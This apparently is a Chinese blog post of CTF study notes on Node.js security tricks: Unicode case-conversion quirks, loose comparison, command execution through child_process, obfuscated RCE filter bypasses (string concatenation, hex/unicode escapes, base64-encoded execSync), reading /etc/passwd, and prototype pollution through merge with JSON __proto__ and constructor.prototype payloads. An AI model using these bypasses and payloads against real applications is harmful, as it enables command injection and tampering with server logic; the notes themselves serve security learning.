关于Nodejs

Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎

语法

node特性

大小写转换

toUpperCase(): 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)(ascii 8490)

弱类型比较

console.log(1=='1'); //true 
console.log(1>'2'); //false 
console.log('1'<'2'); //true 
console.log(111>'3'); //true 
console.log('111'>'3'); //false 
console.log('asd'>1); //false

数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false

console.log([]==[]); //false 
console.log([]>[]); //false
console.log([6,2]>[5]); //true 
console.log([100,2]<'test'); //true 
console.log([1,2]<'2');  //true 
console.log([11,16]<"10"); //false

空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较

其他

console.log(null==undefined) // 输出:true 
console.log(null===undefined) // 输出:false 
console.log(NaN==NaN)  // 输出:false 
console.log(NaN===NaN)  // 输出:false

变量拼接

console.log(5+[6,6]); //56,3 
console.log("5"+6); //56 
console.log("5"+[6,6]); //56,6 
console.log("5"+["6","6"]); //56,6

MD5的绕过

数组、定义的对象会被解析成[object Object]

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}") //[object Object]flag{xxx}
console.log(b+"flag{xxx}") ////[object Object]flag{xxx}

a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

编码绕过

console.log("a"==="\x61"); // true   16进制编码
console.log("\u0061"==="a"); // true   unicode编码
eval(Buffer.from('Y29uc29sZS5sb2coIkwxbWJvIik7','base64').toString())   base64编码

Nodejs危险函数

命令执行

require('child_process').exec('calc');
console.log(eval("L1mbo.cookie")); //执行document.cookie
console.log("L1mbo.cookie"); //输出document.cookie

文件读写

读 :

readFileSync():
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
 if (err) throw err;
 console.log(data);
});

readFile():
require('fs').readFileSync('/etc/passwd','utf-8')


写:

writeFileSync():
require('fs').writeFileSync('input.txt','sss');

writeFile():
require('fs').writeFile('input.txt','sss',(err)=>{})

RCE Bypass

//拼接
require("child_process")['exe'%2b'cSync']('cat /flag')

require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")

//编码
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat /flag') //execSync
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat /flag')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYWxjJyk7','base64').toString()) //弹计算器

//模板拼接

require("child_process")['execSync']('calc');

其他:

require("child_process").exec("sleep 3"); 
require("child_process").execSync("sleep 3"); 
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args* 
require("child_process").spawn('sleep', ['3']); 
require("child_process").spawnSync('sleep', ['3']); 
require("child_process").execFileSync('sleep', ['3']);

原型链污染

原型链污染是一种针对JavaScript 运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值。这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务,或者在极端情况下,远程执行代码。

prototype原型

对于使用过基于类的语言 (如 Java 或 C++) 的开发者们来说,JavaScript 实在是有些令人困惑 —— JavaScript 是动态的,本身不提供一个 class 的实现。即便是在 ES2015/ES6 中引入了 class 关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

尽管这种原型继承通常被认为是 JavaScript 的弱点之一,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。
@08Z6K7<code>7_B4[]1N%YDJH</code>W.png

继承

原型是继承的基础,JavaScript中 原型链可以通过prototype这个属性来实现继承机制

function Father(){
    this.first_name = 'DDDDD'
    this.last_name = 'LLLL'
}

function Son(){
    this.first_name = 'aaa'
}

Son.prototype = new Father();
let son = new Son();
console.log(`${son.first_name}${son.last_name}`); //aaaLLLL

这里Son类继承了Father类,在调用son.last_name的时候,首先在son对象里面找,如果没有last_ name属性,就会在son.__proto__ 里面找,找不到就再往上son.__ proto__ .__ proto__.__里找, 直到null为止
48WD7UU)UBARONP1E[XPXYL.png

pollute

function Father(){
    this.first_name = 'DDDDD'
    this.last_name = 'LLLL'
}

function Son(){
    this.first_name = 'aaa'
}

Son.prototype = new Father();
let son = new Son();
son.__proto__['last_name'] = 'ppppp';
let sontwo = new Son();
console.log(`${son.last_name}`);    //ppppp
console.log(`${sontwo.last_name}`); //ppppp

可以发现修改了son的原型属性之后会影响到另外一个具有相同原型的对象,不难看出我们是通过设置了__proto__的值 来影响原型的属性。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
再如:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar,此时bar为2
console.log(zoo.bar)

如何触发原型链污染

我们想要设置_ proto 的值, 其实找找能够控制数组(对象)的“键名”的操作即可:
●对象merge
●对象clone(其实内核就是将待操作的对象merge到---个空对象中)
以对象merge为例,一个简单的merge函数:

function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
}

在其中target[key] = source[key],如果我们控制key的值为__proto__,即可以对其原型进行pollute

用下面的例子测试一下

function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
}

let obj1 = {}
let obj2 = {a:1,"__proto__":{b:2}}
let obj3 = {}
merge(obj1,obj2)
console.log(obj1.a,obj2.b)  // 1  2
console.log(obj3.b)         // undefined

虽然obj1和obj2合并成功,但是并没有污染到obj的proto,因为在创建obj2的时候let obj2 = {a:1,"__proto__":{b:2}}"__proto__"已经被解析成obj的原型的,没有在merge中以key的身份出现,所以obj2中的key只有ab

所以改改嘛:

function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
}

let obj1 = {}
let obj2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
let obj3 = {}
merge(obj1,obj2)
console.log(obj1.a,obj1.b)  //1 2
console.log(obj3.b)         // 2

要用JSON的方式解析,”__proto__“会被解析成键名key
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

Bypass

proto

__protp__ 进⾏检测,可以利⽤ contructor.prototype 进⾏绕过:

data=json.dumps({"constructor":
                             {"prototype":
                                          {"kento": "admin"}}
                }))
Nodejs 原型链污染
nodejs之一些小知识
最后修改:2023 年 08 月 01 日
如果觉得我的文章对你有用,请随意赞赏